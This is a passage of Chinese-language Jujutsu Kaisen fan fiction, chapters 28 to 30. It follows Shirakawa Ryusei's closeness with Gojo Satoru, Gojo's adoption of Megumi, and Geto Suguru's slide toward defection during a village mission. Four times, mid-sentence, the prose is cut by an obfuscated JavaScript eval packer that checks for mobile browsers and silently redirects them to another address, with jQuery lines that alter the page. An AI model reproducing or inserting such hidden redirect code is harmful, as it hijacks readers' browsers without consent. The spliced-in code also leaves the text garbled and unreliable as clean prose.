禅院直哉:这个天真的家伙不会用私刑的…吧。 “我可以告诉你,不过你得答应我一个条件。”依然在一旁的家入硝子,给了禅院直哉一点勇气,“转学去京都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357316|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校,毕业后,加入禅院家的躯俱留队,工作五年,不,十年。如果你答应,我现在就可以告诉你。” “你怕不是脑子被打傻了。”白川琉世吃惊到无语,“几句话就让我卖给你十几年,你们那破地方别说打工了,家主我都不稀罕做。” “哈,直哉,虽然你其他地方没有可取之处,不过眼光还是挺好的嘛。” 这个声音…… “悟?” 五条悟推开门,不知道是刚来,还是听了一会了。像猫一张轻手轻脚地踱步进来,嘴里还含着一根棒棒糖。 “是吗,但是你的眼光挺差的,悟君。” 两个人短暂地隔着墨镜对视了一下。 “啊,好可怕。”家入硝子语气平淡地说,“我还是先溜好了。” 女孩像脚下生了风一样快速离开。 “悟,这次的伴手礼,你喜欢吗?”白川琉世全然忘了这是什么场景,充满期待地询问。 “超——喜欢!”五条悟展开笑容,“特别是毛豆生奶油口味的,老子第一次吃到这么完美的甜点。” “诶?夸张的吧,真的吗?”白川琉世嘴角羞涩地弯起,又忍不住扬起过于灿烂的笑容。 两个人之间的气氛,融洽到让人想吐。 “简直和摇尾乞怜的狗没有区别。”禅院直哉冷嘲热讽,“哎呀,就算抱上悟君的大腿,也不会有多少好处哦,你这一生也就止于四级咒术师了吧。” “你懂什么,四级咒术师才是最有潜力坐上咒术总监位置的人。”白川琉世丝毫不觉得自己被威胁到了。 “老子本来一直不明白,你们禅院家为什么一定要卡琉世的等级,看来是你的原因吧。”五条悟不爽地嘁了一声,“还没长大的小橘子就烂到这种程度。” “你花那么多钱打通关系,想给琉世这个白痴升级,是没有任何意义的。悟君,再交一些不三不四的朋友,你很快就会变得和他们一种档次了。” 明明小时候五条悟还好好的,高高在上做他的六眼,对谁都懒得理睬、不屑一顾,那样倒还符合禅院直哉的审美。后来上了咒术高专,脑子好像被贫民草包咒术师们同化了,这让跟风上了京都校的禅院直哉很不理解。 “花钱给我升级?” 白川琉世的眼睛闪过错愕。 等级这种事,他自己也不怎么在意,就像食堂没有供应他喜欢的餐点,遇到的时候抱怨一下,不爽就消失无踪了。 人生十几年,对他好的人有很多,但在这种问题上,大概都会安慰他,“没关系,琉世只要做好自己该做的就行了。” 那也没办法,他明白。 刀再锋利,也只能斩断有形之物。他不能提着刀,斩断偏见、隔阂和不公。 那些难缠的问题,因为暂时无法解决,被他踢到一旁当人生的背景板,主打一个眼不见为净。 但是没想到会有人放在心上,想为他解决这些问题,更可怕的是,还不告诉他。 “诶?被发现了哦,怎么样琉世,是不是超感动,感动到要哭出来的那种。”五条悟一点没有不好意思,露出灿烂张扬的笑容,“这是对努力后辈的奖励哦,奖励。” “当然超感动了!谁会不感动啊!你、你对每个努力的后辈都这样吗?” “当然——,”拉长了声音,在白川琉世忐忑的眼神中,五条悟的声音轻轻落下,“不是咯。” 禅院直哉:? 干什么啊? 恶心! 什么玩意? 恶心恶心恶心! 为什么要这么对视?五条悟戴着墨镜,琉世你能看见什么?你看得明白吗你就看? 真是一条摇尾乞怜的狗,别人给点小恩小惠就感动的不得了。 白川琉世到底在装什么啊?在他那里就一副道德完人,清高的不得了的样子,怎么给五条悟当狗就没问题?废物废物废物没有咒力的废物,有咒力更废物的废物! 白川琉世:……。 “你那是什么眼神啊。”他怒斥禅院直哉,“虽然没说出来,但我听到你在脑子里骂我了!” “咦?直哉,你还在这?”五条悟假装惊讶,“如果老子把家里压箱底的咒具用掉,还把最大的杀手锏搞碎掉的话,早就收拾东西逃出日本了。” 28.第 28 章 “魔虚罗是禅院家十影法的杀手锏,最强大的一个式神。禅院家历史上,只有一个人调服过魔虚罗。” “啊,那个把领域展开储存在咒具里的人。” 电灯闪了一下,冷白的光盈满了房间。 两人走进五条悟的宿舍,白川琉世根据指示,生疏地打开柜子,从里面摸出来两罐可乐。 餐桌上摆着一个电子表,时间显示为夜里两点多,今夜未眠的不仅是他们两个,两校的校长也绝对睡不着觉,怕禅院直哉就这么死在交流会上。 五条悟坐在凳子上,伸了个懒腰,腿直接伸到对面白川琉世的范围中。 咔嚓。 打开一罐可乐,白川琉世先推到对面。 “在魔虚罗的调伏仪式中,它会对调伏者展开攻击,调伏者必须打败它才能完成调伏,否则会被他杀死,很危险是吧。” “那家伙的‘适应’太无解了,如果不是出了意外,我可能也会被杀死。” “关键在那个‘意外’上,琉世,你仔细回想一下,魔虚罗的情况,属于暂时‘崩溃’,还是永远‘消失’。” “崩溃……消失?”与魔虚罗的交手还不到半分钟,这场战斗的信息已经足够让他摸不着头脑了,但是,他还是有了些猜测,“一开始,我只是在躲避魔虚罗的攻击,他适应的只有我的速度。魔虚罗头上的转轮,在我第一次使用呼吸法时开始转动,意外也是这时候发生的,魔虚罗它……好像适应不良?” “适应不良?”五条悟的墨镜滑落,露出一双流光璀璨的眼睛。 魔虚罗可以适应一切,传说或许没错,但是,如果真的出现无法适应的情况呢? “只是我的猜测,但是,呼吸法完全是身体的技艺,魔虚罗没道理连术式都能适应,就是适应不了呼吸法吧。” 白川琉世皱眉,他的日轮刀放在桌子上,一只修长的手在刀柄上摩擦。 “它到底是重新回到禅院家用来召唤式神的地方,还是消失了,我分辨不清。本来我就不熟悉式神这种东西,这还是第一次见呢。” “哈哈哈哈哈,琉世,这就叫自作自受。”五条悟畅快地笑起来,把可乐罐子捏凹了一点,“如果禅院直哉把魔虚罗搞没了,他老爹会直接杀死他,绝对的。” “那让家入前辈救他不是多此一举?” “没错,他这种白痴根本不值得硝子加班。” 把禅院直哉形容琉世的称呼,还给他自己,五条悟对此很满意。曾经发生在禅院家的事,不管是琉世的过去还是缝合线的阴谋,他也会想办法调查清楚,一点也没有和直哉那个白痴交流的必要。 “糟了,那这么说。”忽然想起了什么似的,五条悟略显尴尬地用小指挠了挠脸颊,“惠使用的十种影法术,有可能变成九种影法术了?” 五条悟不算武痴类型的好战份子,没有必要的话,并不想和魔虚罗交手,几百年前的六眼可是和十影法同归于尽了。但是,如果有不得不战斗的那天,他也很好奇魔虚罗的‘适应’是种怎样的强大。 “嗯?”白川琉世有些出神地看着五条悟,有一搭没一搭的玩着刀鞘上的黑色绑绳。 “惠啦,伏黑惠。”想起这件事琉世还不知道,五条悟解释,“禅院家的小孩,因为种种原因流落在外了,前段时间还恰好觉醒了禅院家最珍贵的术式——十种影法术,我就花十亿把他买下来了。” “诶?” “诶?什么?” “小孩?买?十亿?禅院家的?你买?” 这还是日文吗?他怎么听不懂了! 白川琉世伸出双手,同时在自己两颊上拍了一下,“悟,你说的话,是字面上的意思吗?” “是啊,很惊讶吗?现在不负责任的父母太多了,惠小学一年级,就和没有血缘关系的继姐生活在一起,只要倾注一点爱心,就能给年幼失怙的孤儿一个家,只是恰好附带一个十种影法术,老子真是做了大慈善。” 白川琉世陷入“一点爱心”等于“十个亿”的等式中,怀疑自己对货币的理解出了问题。 五条悟是大少爷他知道,但是是这种级别的大少爷吗?还有…… “买卖人口是犯法的吧,悟?” “是合法收养啦,现在老子是他的监护人。” “你才几岁,收养一个小学一年级的……,算了,有钱人做什么都没有阻碍,这点我早该明白了。”白川琉世喝口可乐压压惊,“不过,他?是个男孩吗?” “是男孩,名字是不是很可爱。” 被五条悟的情绪传染,白川琉世也笑了起来,“听起来是个长相可爱的男孩。” 想起那张和伏黑甚尔非常相似的脸,五条悟沉默了。 “不过,是因为十种影法术,你才收养他的吧。”白川琉世敏锐地指出,“被父母抛弃的孩子并不少,惠又是禅院家的人,收养他很麻烦吧,不然也不会花这么多钱。” 五条悟没有否定这点。 “为什么呢?” 白皙的手指,指尖泛着好看的淡粉色,伸进鼻梁架里把墨镜推了出来,五条悟完全展现出自己的面容。 白川琉世看着他,屏息凝神,目眩神迷地眨了眨眼睛。 他真好看。 可能是白发的原因,五条悟的色素比其他人要浅一些,肌肤像白雪的白流淌上去,眼神转动间,虹膜有碎光流转,睫毛的浓度、嘴唇的颜色也无法令人生出任何指摘。 充足的室内光线,带着与展厅等地相同的公事公办的冷淡光泽,使他脸上的细节纤毫毕现,宛如陈列在真空玻璃柜中的标本。 有那种术式,和一直处在真空玻璃柜里也没区别。 真是美的标本。 大家不是在暗的地方更好看吗?特别是在精心设计打光后,拍出来的照片和视频更好看。新生代演员总是被说没有昭和时代的漂亮,不过是因为过于清晰的摄影放大了演员脸上的瑕疵。 但五条悟不同,那张脸是越清楚地看,越觉得美丽的东西。 “因为……。” 轻哑的嗓音拉回了白川琉世的注意力。 “我想培养更多强大又聪明的伙伴了。你也看到了吧,现在的咒术界,让总监部的老烂橘子和世家的小烂橘子搞得乌烟瘴气,我想改变这种现状。但是,杀光上面人,终归也会换一批同样的烂橘子上去,不会有什么改变。嘁,真的麻烦死了。所以,我想通过教育,培养优秀的伙伴,这样以后的局面肯定会变好吧。对吧,琉世?” 白川琉世凝神听着,不知道自己那张不近人情的脸,正笑得非常温柔。 “真是了不起,悟。” 在咒术界糟糕的环境和恐怖的工作压力下,十八岁的五条悟心生厌烦,下了一个决定。 这个决定既不是杀光咒术界的高层,也不是消灭普通人暴政,世界属于咒术师,或者反过来杀掉咒术师,保留普通人,更不是我要创造一个XXX(随机填空令人头疼的词汇)的世界。 他竟然只是想当个花匠,培养更多好人,让良币去驱逐劣币。 他竟然只是想去创造一个(更好的)世界。 用的还是这么守序善良的方式。 虽然没有具体的方针,这句话显得空中楼阁,乃至于有点做梦了。 但是,这也太…… “悟,你会和小动物说话吗?” “小动物?不会,这是什么术式吗?”五条悟甩着眼镜腿玩,警惕地看着白川琉世,“你那是什么表情,要嘲笑老子吗琉世?” 太可爱了吧! “不不不不不,”白川琉世压压嘴角,“我觉得这样的想法超棒的!以后是不是要叫你五条老师?” 听着白川琉世不停叫着五条老师,语气有点耍赖,好像真的是学生在向他撒娇一样,五条悟也有些飘飘然。 “你也觉得帅哥五条老师的头衔不错吧。” 白川琉世看着五条悟的脸,想起上次来这里时,就算偷偷看着睡着的悟,也十分无措,现在却能自然地直视他的眼睛。 “是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15362034|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是,如果你毕业就留校,说不定还能做我的老师呢。” 话音刚落,两个人的心底都被击中了。 教师和学生这可真是—— 不对不对,白川琉世把莫名其妙的画面打散。 “啊对了,最重要的事忘记问了。夏油前辈怎么了?我听家入前辈说,他是不是心情不好罢工了?” “老子不久前和杰通过电话了,和硝子说的大差不差,那家伙把工作丢下,自顾自跑去冲绳度假了。” “那就好那就好,偶尔叛逆一下有利于身心健康。”白川琉世松了口气,“最近总觉得夏油前辈状态不对。” “杰啊,有段时间没见过他了。”五条悟这才想起,已经有半个月没见过自己的挚友了,“杰是不是瘦了好多?” “是吧!”白川琉世用力点头。 硝子是不是也说过杰不太对劲?五条悟想起女同学的话,还有白川琉世发过的短信。 “杰回来后,老子会找他谈谈的。” 工作太累了吗?还是迟来的青春叛逆期? 翘掉个人赛不像是杰的风格。难道遇到了什么棘手的难题? 不过,冲绳的话,杰不会还惦记着那件事吧。 “夏油前辈去冲绳了啊。”白川琉世迟疑了一下,摸了摸口袋,又想起让伊地知偷来的那份任务报告。 [保护“星浆体”天内理子,确保其安全抵达东京咒术高专薨星宫,与天元大人完成同化。] 在那之后,他弄清楚了薨星宫、天元大人和星浆体到底是什么意思。 这些本来就不是什么隐秘,很容易就打听到了。原来薨星宫就在学校下面,天元大人活了上千年,此时就在薨星宫的某个结界里待着。 那个叫天内理子的星浆体女孩,与天元大人同化后,就会死去。 悟和夏油前辈的护卫任务为期三天,护卫一个注定要死去的女孩,这多少有点黑色幽默了。 不过,第二天去了冲绳吗…… 同一时间,两人想到了同一件事。 犹豫了一会,白川琉世还是从口袋里掏出两张票。 “真是好巧,说到冲绳,我这里有两张美丽海水族馆的票。”把票推到桌子中间,白川琉世手心微微出汗,“后天的票,要一起去吗?如果,如果没有任务的话。” 那是绊子寄到学校的,本来是客户送给她和她老板的,但水族馆只有白天营业,绊子的老板愈史郎先生是鬼,很遗憾不能亲自游玩,就把票送给他了。 “冲绳?”五条悟眼中漾开笑意,“现在的海水应该很漂亮。” “是啊,说不定还能遇到夏油前辈。” “杰不会待这么久,现在是夏忙期,失踪到后天他就直接上诅咒师通缉令了。” “好没人性!” “就是啊,总监部那些没人性的烂橘子。”五条悟少见地操心别人,“今天的事后,总监部肯定会找你问话,琉世,不管他们说话有多讨厌,先刀下留情饶他们一命吧。” “没问题的,我哪有这么沉不住气,禅院直哉我都留他一命了。” 能忍住不刀禅院直哉的含金量还在上升。 桌子上的那两张票,其中一张,被一只指尖淡粉的手拿走了。 “如果有时间,琉世,别抱太大的希望。”不想说扫兴的话,但是五条悟也不能保证后天有能推掉的工作。 “没关系,就算后天去不了,还有下次嘛,我还是很想去那边的水族馆的。” 前年夏天,他去冲绳玩过一周,每天在海边游泳,晒太阳,捡贝壳。去年夏天,悟和夏油前辈去了冲绳,不知道他们在冲绳做了什么,发生了什么故事。 他和悟的过去毫不相干,即使去年冲绳发生的事多半并不愉快,他还是有种没参与感的失落。 不过没关系,白川琉世从不内耗。 想起九十九由基鼓励他的话, 青春没有售价,告白就在当下! 那就从冲绳开始,创造两个人新的回忆吧! 29.第 29 章 个人赛那天并不是理子的祭日。 说来惭愧,就算是他,也只是比悟更慢一些忘记理子。 但是,可以肯定的是,从去年夏天,一切都变质了。 遮阳凉棚下已经没有人了,褪去白日的暑气,碧蓝色的海变得黑沉沉的,凉风吹过,浪花带着有节奏的哗哗声涌上海岸。 并非有意,但那张桌子是之前他们坐过的那张。夏油杰来到的时候,自称为香织的女士正坐在悟坐过的位置,面前放着一杯还剩一半的柠檬水,看起来已经等了他一会了。 近一年,盘星教换了新教主,这事夏油杰是不感兴趣的,但是因为偶然的机会,他和新教主香织女士结识,两人一见如故,经常邮件联络。 [夏油,今天有没有兴趣见一面呢?] [当然有兴趣,时间上是……?] [就今天下午如何。] [下午我有点事,可以改天吗?] [真是可惜,如果今天没空的话,很长一段时间都不能见面了。] [好,地点是……?] 这是他和香织女士第二次见面,地点是一千多公里外的冲绳。 “抱歉,我迟到了。” 从中午开始订机票,直到傍晚才抵达岛国的最南端。 虽然翘掉了个人赛,但是……那种没意义的东西,不参加也无所谓。 “没关系,是我临时起意。”香织带着一顶宽沿草帽,在盛夏的海边非常适宜。 夏油杰偶尔因为对方的话展开笑颜,笼罩在心头的阴霾,只有和香织聊天时才能散去。 “今年我们的伙伴越来越多了,夏油,要不要考虑加入盘星教。”香织的杏眼,微笑时像猫一样半眯着,“我想建立一个只有咒术师的大家庭,大家会像家人一样互相理解的。” 夏油杰几乎马上要答应了。 “没关系,你还是咒术高专的学生吧,毕业之后,当一个正统咒术师,每个月安安稳稳地拿工资,或许对你来说是更好的选择。” “我……我考虑一下。” 香织并没有表现出失落的意思,喝光最后一口柠檬水,起身对他告辞。 “我知道你是我们的同伴,夏油。下次见面,希望我们不会变成敌人。” 不会的。 夏油杰瞬间在心底开口,但也只是什么都没说,笑着和香织告别。 香织走后,夏油杰依旧坐在桌子前出神。 现在是暑假时间,海滩上人很多,全家出游的、情侣、和朋友结伴游玩的,发出阵阵尖锐的笑声,人群下饺子一样涌入海里,白色的□□攒动着,间或夹杂着几只蝇头在其中。 为什么之前没有发现,这个世界上有这么多人。 他逐渐分辨不清那些白色的□□和蝇头的区别。 手机发出提示音,总监部经过高专下发的任务,通过邮件发送到他的手机上。因为避免邮件漏发的情况,术师们接到任务后,需要回复邮件。 本来想点开的手指,看到那行预览的字。 [任务目标:特级咒灵地点:北海道……] 要从冲绳赶去北海道。 翻盖手机啪地一声,粗暴合上了。 之后,任凭手机再怎么响,他也无动于衷。 从下午坐到深夜,海滩上的人走得一个不剩,身后酒店橘黄色的灯光,星星点点打在细软的沙滩上,让夏油杰莫名想起了小时候,妈妈总是在透着橘黄色灯光的家里等他回去。 从小能看到别人看不到的东西,拥有别人没有的能力,以保护普通人为己任——那种心情,不知为何,在升入高专两年多后完全变质了。 普通人中当然有好人,咒术师里肯定也有诅咒师,这是有点思辨能力的人都明白的道理。他竭尽全力去看普通人的善与咒术师的恶,但是,用空洞的道理就能糊弄过去他的疑问与痛苦吗? 很遗憾,他是个罕见的做人无比认真的人。 心的裂缝越来越大,维持天平的平衡也没有意义了。 如果选取一端,就要彻底舍弃另一端,彻彻底底地—— 手机铃声响起。 夏油杰看向桌上的手机,是五条悟的来电。 “杰?杰你这家伙在哪?任务不做,电话也不接,个人赛也翘掉,你跑到哪里去了!” “……冲绳。” “嗯?你去冲绳干什么,秘密任务吗?” “不是,当做我去度假吧。” 五条悟抱怨了两句,夏油杰只是微笑着附和,眼睛望着前方,好像悟依旧坐在那个位置。 “好了好了,我明天就回去,要给你带伴手礼吗?” “不用了,既然去了就玩个痛快,不用惦记着这些琐事了。” “今天的个人赛,结果怎么样?” “琉世赢了。”五条悟有些赌气,“不过,你不说一声就跑掉,这点老子无法原谅。” “抱歉抱歉。” 察觉不到别人的变化,一直这么粘人可不行啊,悟。如果是他还好,对别人也这样的话,会被留在原地的。 …… 黑暗的卧室里,手机忽然亮起,伴随着刺耳的铃声,被一只从床上伸出的手捞起。 刚要狠狠按断电话,看到来电人,任务委派课课长小林睡意全无,接通电话后,下意识保持着端正的跪坐姿态。 “……是,是,有的,委托给五条悟和东京高专的白川琉世,考虑到他们有相同的经验,也都完美解决了……是,是,改为委派特级术师夏油杰,我这就去办……好的好的,不不,您太客气了,好的总务大人……非常荣幸,是是是……再见。” 等对面先挂断电话,小林长舒一口气,不知道总务为什么忽然插手,把原本属于五条悟的任务拨给夏油杰。但高层天天打架,他才懒得猜测具体原因,把事安安稳稳办了,再熬十年他就能退休了。 相隔不远的一栋商业写字楼里,总务大人挂断电话,走到卧室门口,拉开房门。 卧室的床上躺着一个美丽的短发女人——除了没有额头以上的部位。缺失的部位就像手机台灯或插座一样,随便放在床头柜上。 总务没看女人一眼,来到占满一面墙的柜子前。 柜子空间很大,从打开的地方冒出阵阵寒气,总务一把拉开柜门,贴着墙面一字排开的,是站着固定在玻璃器皿中的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15369125|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,整整齐齐,足有六个。 每个人都睁着眼睛,毫无神采地望向外面,每个人的额头上,都有一道整齐的缝合线。 总务是个身材高大的男人,五十岁左右,这个年纪了头发依旧很茂盛,浅浅遮住了额头上的同款缝合线。 简直像什么中老年版鬼娃娃制造屋。总务在六个男鬼娃娃中挑选了一个,平淡地像挑选今天要系的领带,然后,掀开对方的头顶—— …… 个人赛第二天。 悟去做任务了,说是夏油前辈翘掉的任务被交给他了。明明昨天三点还醒着,没睡几个小时,就起床出差了。 太辛苦了。白川琉世宁愿总监部下发几个特级任务给他,这样不管五条悟还是夏油杰都能轻松一点。 把这话告诉夜蛾老师后,夜蛾笑了,“琉世,你觉得他们会让你闲着吗?” “不会。”白川琉世和伊地知、七海站在校长室,等着接夜蛾老师下发任务。 他们还是高专的学生,出于对未成年学生的热别照顾,如果不是人在外地来不及回学校,接任务的时候都要乖乖去找老师线下接的。 老师会根据任务的具体内容,给予学生指导。 当然,三年级的除外,那两个特级夜蛾已经不想管了。 “七海的是祓除二级咒灵,任务描述发到你手机上了,辅助监督总结的很详细,应该没问题。” 七海平静地点头,“我会按规定祓除的。” 七海一直很可靠,私心来讲,夜蛾愿称他为整个咒高综合起来最靠谱的学生。 “琉世的是祓除一级咒灵,”鉴于之前几个月,白川琉世祓除一级咒灵全部无伤,夜蛾也没有过多嘱咐什么,“嗯……仔细看看任务描述,多和辅助监督沟通。” “没问题老师。”白川琉世听着,有一搭没一搭的弹着小鸡玩偶的脑门。 吓得夜蛾办公室的几个咒骸悄悄往桌子后面躲。 “最后是伊地知,”重头戏来了,夜蛾深吸一口气,“任务目标为三级咒灵,任务描述什么的不多说了,老师知道你会看得很仔细,但是真正面对咒灵的时候,也要鼓起勇气,有时候,一味的躲避可能会遭到更大的伤害。” 伊地知脸红地低下头。 同学这么优秀,他这么废材,这真的正常吗? “但是,也要看情况,如果遇到超过自己实力的咒灵,可以撤退,必要时可以寻求辅助监督的帮助,有些辅助监督也有战斗能力。” 这是伊地知第二次出任务,上次也是祓除三级咒灵,但是他这个学生胆子有点小,看到咒灵吓得脸色煞白,一动不动,最后也没能动手。夜蛾既怕伊地知心里有障碍,迈不出祓除咒灵的第一步,又怕激他太过了,适得其反,让咒灵把他啃了。 想起去年夏天那个孩子,夜蛾正道叹了口气。 “夜蛾老师,我、我一定……。” “伊地知一定会努力的。”白川琉世在伊地知背上大拍一掌,“夜蛾老师,你不要只说话没表示,送他一个打人巨痛的玩偶当保镖好了。” “那是咒骸!” “吼那么大声干嘛?那你就送他一个咒骸啊!” 30.第 30 章 最终,伊地知还是得到了一个咒骸,这个咒骸跟随了他很多年,直到后来认识到自己实在没有做咒术师的才能,做了辅助监督,咒骸也被好好安置在家里。 每当看到咒骸,他都会想起和白川琉世做同学的那个夏天,很短暂,但也记忆深刻。 伊地知有时会想,五条悟和夏油杰互相认为对方是挚友,到底是因为同级,有很多相处时间,又恰好合得来的缘故,还是因为五条悟是五条悟,夏油杰是夏油杰,他们不管是不是同年,在不在同一个学校读书,只要遇到了就会成为挚友。 就像白川琉世一样,尽管低两个年级,但看起来,和那两个人才是同一个世界的。 不过,伊地知并不了解五条悟和夏油杰,他在整个高专,唯一有朋友感觉的是白川琉世。 “你不是胆子小,伊地知。”他想起同学的话,“完全相反的是,我总觉得你是平时把勇气全部积攒起来,最后在惊人的地方一口气用掉的人,就是相当可靠的感觉!” 如果问白川,他们是不是朋友,白川一定会说是的,但挚友这两个字,总带着不一样的分量,特殊到伊地知绝不会拿这个形容他和白川琉世的关系,也绝不会对任何人说出这两个字。 单方面的挚友,算是挚友吗?伊地知不知道。 …… 祓除咒灵并不是困难的工作,相反,这种事对白川琉世来说,无异于吃饭喝水,是必须要做的日常。 祓除完一级咒灵后,回来的路上,他又祓除了被吸引过来的另一只咒灵。 五条悟发来了短信,说自己已经做完任务了,正在往回赶。白川琉世也汇报了自己的任务进程,反正就是轻轻松松。莫名其妙的,两人开始分享日常,天气、路况、遇到的店铺,以及今天一切顺利,明天的出行应该不会受到影响。 [夏油前辈离开冲绳了吗?]说到这个话题时,白川琉世想起了之前担心的夏油杰。 过了一会,五条悟才回复。 [问过夜蛾老师了,杰今天接了任务,去做任务了。] 得到这个回答时,白川琉世反而松了口气。虽然也想和大家一起玩,但只有明天,想和悟两个人一起。 因为明天是特殊的。 [买到了限定的草莓奶油蛋糕,超——难买到,这次去北海道也不是一无所获(墨镜笑)回去后老子要当饭后甜点享用 图片] 白川琉世点开图片,是块四方的经典白色奶油蛋糕,蛋糕胚夹着红色的草莓果实,装在透明的塑封盒子里,被一只手高高提着。 背景是行人忙碌的街道,没什么特别的。 白川琉世的视线落在提着蛋糕的手上,只露出了一点点的食指和中指的指尖,因为绑带的压迫充血,显出比粉色更深的颜色。 是非常艳丽的红梅色。 他看了好一会,合上手机向前走,走几步又忍不住点开图片,看着图片的时候,脚步又逐渐停下了。这么反复,短短一段路,白川琉世走了好久。 直到把手机揣回兜里,才发现还没回复邮件,他手忙脚乱把手机拿出来,删删打打,踌躇了半天,思考的时间越长,越觉得应该回一点更有意思的话,但抱着这样的想法,就更想不出什么吸引人的话来。 [看起来很诱人。] 他这么回复。 …… 回到高专后,已经是下午了。白川琉世去校长室交任务,推开门看到夜蛾正道正在打电话。 “……好,琉世正好过来,我问一下他。” 夜蛾没挂手机,电话那头传来微弱的沙沙声。 “琉世,之前你和悟一起做的那个任务,杰遇到了相似的情况。” “也是神社?” “对,本来这个任务是交给你和悟的,不过被总监部调整了一下,交给杰了。” 夜蛾这么说着,心里总有淡淡的疑惑,说不清道不明。一般来说,总监部的任务下发后,都是由他整理发给学生。原本安排给杰的北海道特级任务,因为杰翘班的原因,由另一个一级术师接手。杰现在在做的任务,本来要安排给悟和琉世。但是,昨天夜里总监部做了紧急调整,最终调整成这个样子。 只是调整任务,又不是紧急下发任务,有必要半夜紧急调整吗?而且,还是把悟和琉世做最合适的任务,调整给杰,根本没必要,而北海道特级任务,是之后再从那个一级术师那儿调整给悟的。 总监部有骚操作不是一天两天了,夜蛾压下疑惑,“我看过你的任务报告,因为村民供奉黄泉津御命,招致咒灵,你和悟祓除咒灵,毁掉神社,任务就完成了。” 白川琉世有点心虚,因为想隐瞒自己黄泉津转世的身份,他的任务报告只是随便糊弄写的,隐藏了自己的“领域”和最上启示的出现。 桧原村本来也该因为神社的原因,吸引、加速生成咒灵,但那些咒灵来一个,最上启示吃一个,把桧原村的咒灵吃得干干净净,最后他们只需要对付某邪灵就好。 看来夏油杰的任务,是村民私祭黄泉津御命的正确发展版本。 “是的,”白川琉世硬着头皮往下说,“祓除咒灵,毁掉神社就好了。” 手机那边夏油杰的声音低沉,带上丝丝电流音,“那,本次的咒灵,是因为村民的愿力产生,还是只是神社的原因?” “是神社的原因,遇到什么问题了吗,夏油前辈?” 学生少见地打电话过来,夜蛾提起了心,“能行吗,杰?” “没问题。”手机另一端,传来夏油杰轻轻的笑声,“我打来只是确认一下情报,先挂了,夜蛾老师。” 能行吗? 白川琉世的心一紧,漏跳一拍。感觉到某种强烈的,不详的先兆。 “夜蛾老师,夏油前辈的任务地点在哪?” “问这个做什么?琉世,你不准去!” 白川琉世二话不说,一把抢过办公桌上一叠纸质版的任务下发通知书。 最上面的一张,赫然是夏油杰的。 …… 那是个比桧原村还落后的村子,难以想象现在还有不通电的地方。 白川琉世骑着摩托疾驰几小时,又靠双脚爬上难走的山路。 为什么会有这种不详的感觉,心脏毫无缘由地狂跳,要相信夏油前辈,然后明天清早,和悟一起前往冲绳,用新的快乐记忆填满那里。 白川琉世早就察觉到了,明天无论说什么,悟都会答应的。 他已经感觉到了这种默契。 那为什么他会来到这里,这样的话,应该赶不上去冲绳的计划了吧。 来不及注意别的,脸颊和手背被树枝划出细小的伤口,几乎是爬上来的白川琉世,已经到达了村子的边缘。今晚的村子似乎很热闹,主干道上绑着熊熊燃烧的火把,举目望去却不见一个人影。 空气中有浓重的咒灵臭味,村子里到处都有咒力残秽,但有些可能是夏油前辈的咒灵留下的。白川琉世走过一户户人家门口,仔细辨认空气中气味的来源。 哗啦—— 一声刺耳的巨响。 脑中忽然闪过某天午后的食堂,和夏油杰谈话时的画面。 那双沉郁的眼睛,洇着化不开的痛苦,被平静和微笑包裹着。 白川琉世一个急转身—— 声音是从树林里传来的。 更加巨大的声响传来,远处一阵地动山摇,被咒灵死死缠着的村民,惊恐地望着那个菩萨般的男人忽然化身为面目凶恶的恶鬼。 “你……救……。” 急速奔跑的白川琉世呼吸一窒,那个身影—— 日之呼吸?一之型?圆舞。 一刀把缠杀村民的咒灵斩杀。 白川琉世安静地站在被救下的村民旁,背对着夏油杰,垂着头,不知道在想什么,日轮刀的刀尖点在地面上,随着手部轻微的晃动,发出短短的摩擦声。 被救下的人和其他几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379024|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个村民,被变故吓得转身就逃,一时间,这里针落可闻。 什么啊,撞到了正道天才少年的黑化现场。 白川琉世反手提刀,千钧的握力压在刀柄上,手背青筋暴起。 为什么来到了这里?哈,可以说是巧合,任务目标与黄泉津御命有关,有他在会进行的更顺利,而且,万一夏油杰遇到意外,因为这次任务殉职,他岂不是要后悔一辈子。 